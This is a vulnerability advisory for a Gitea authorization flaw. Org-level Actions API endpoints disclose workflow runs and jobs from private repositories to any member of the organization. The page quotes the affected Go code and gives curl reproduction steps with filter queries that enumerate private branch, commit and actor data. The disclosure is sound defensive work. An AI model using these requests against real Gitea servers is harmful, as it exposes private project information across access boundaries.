PT-2026-63289 · Go · Code.Gitea.Io/Gitea

CVE-2026-57897

·

Published

2026-07-21

·

Updated

2026-07-21

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization

1. Summary

The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs
are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action run / action run job row whose repository belongs to the org — with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions unit,
  • repositories created by other teams the caller is not part of.
Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job id}/logs, …/runs/{run id}/jobs) correctly return 404 for the same caller — proving the org-level surface is the only path that leaks.

2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652
go
addActionsRoutes(
  m,
  reqOrgMembership(),  // reqReaderCheck
  reqOrgOwnership(),  // reqOwnerCheck
  org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941
go
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)
reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683
go
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
  shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
  shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215
go
opts := actions model.FindRunOptions{
  OwnerID:   ownerID,  // ← org ID, NOT user ID
  RepoID:   repoID,  // = 0 at org level
  ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions model.ActionRun](ctx, opts)
models/actions/run list.go:102-110
go
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
  if opts.OwnerID > 0 {
    return []db.JoinFunc{func(sess db.Engine) error {
      sess.Join("INNER", "repository",
        "repository.id = repo id AND repository.owner id = ?", opts.OwnerID)
      return nil
    }}
  }
  return nil
}
The join only constrains repository.owner id = orgID. There is no access/team repo/collaboration join and no access model.GetDoerRepoPermission(...) filter — every row in the org is returned.
The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.

3. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission none for actions, no included repos).
  • User admin2 is a regular user (is admin = false), member of 1st-team only — so org member, but no team grants any access to 1st-org-repo.
Verified that admin2 lacks direct access:
bash
$ curl -u admin2:admin@123 -w '[%{http code}]
' 
  http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http code}]
' 
  http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]
A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action run:
yaml
name: ci
on: push
jobs:
 hello:
  runs-on: ubuntu-latest
  steps:
   - run: echo "SECRET INFO FROM PRIVATE REPO"

3.2 Trigger

bash
$ curl -u admin2:admin@123 -w '
[%{http code}]
' 
  http://localhost:3001/api/v1/orgs/1st-org/actions/runs
Output (truncated)
json
{"workflow runs":[{
 "id":7,
 "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
 "html url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
 "display title":"add workflow",
 "path":"ci.yml@refs/heads/main",
 "event":"push",
 "run attempt":1,
 "run number":1,
 "head sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
 "head branch":"main",
 "status":"queued",
 "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
 "trigger actor":{ … "login":"admin" … },
 "repository":{
   "id":4,"name":"1st-org-repo","full name":"1st-org/1st-org-repo",
   "description":"test123",
   "private":true,
   "clone url":"http://localhost:3001/1st-org/1st-org-repo.git",
   "ssh url":"prakhar@localhost:1st-org/1st-org-repo.git",
   …
 }
}],"total count":1}
[200]
Same primitive for jobs:
bash
$ curl -u admin2:admin@123 -w '
[%{http code}]
' 
  http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
 "id":7,
 "run id":7,
 "name":"hello",
 "labels":["ubuntu-latest"],
 "head sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
 "head branch":"main",
 "status":"queued",
 …
}],"total count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the endpoint into a search oracle over private workflow metadata:
bash
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"
All return matching rows from private repos in the org.

4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
Field leakedWhy it matters
repository.full name, description, private, clone URLsExistence + topology of private repos
head sha, head branchConfirms commits / branch names exist in private repos
path (workflow file)Reveals workflow YAML filenames
event, display titleCommit messages / event types
actor, trigger actorInternal contributor identities incl. noreply emails
created at, started atActivity timing / CI cadence
Pagination + ?head sha=/?branch=/?actor= filtersFull search oracle over private workflow history
Real-world consequences:
  1. Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
  2. Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
  3. Cross-team violation — when an org isolates internal projects via teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.
  4. Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).
The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.

Fix

Incorrect Authorization

Information Disclosure

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-57897
GHSA-FRPW-3H2Q-4JJ6

Affected Products

Code.Gitea.Io/Gitea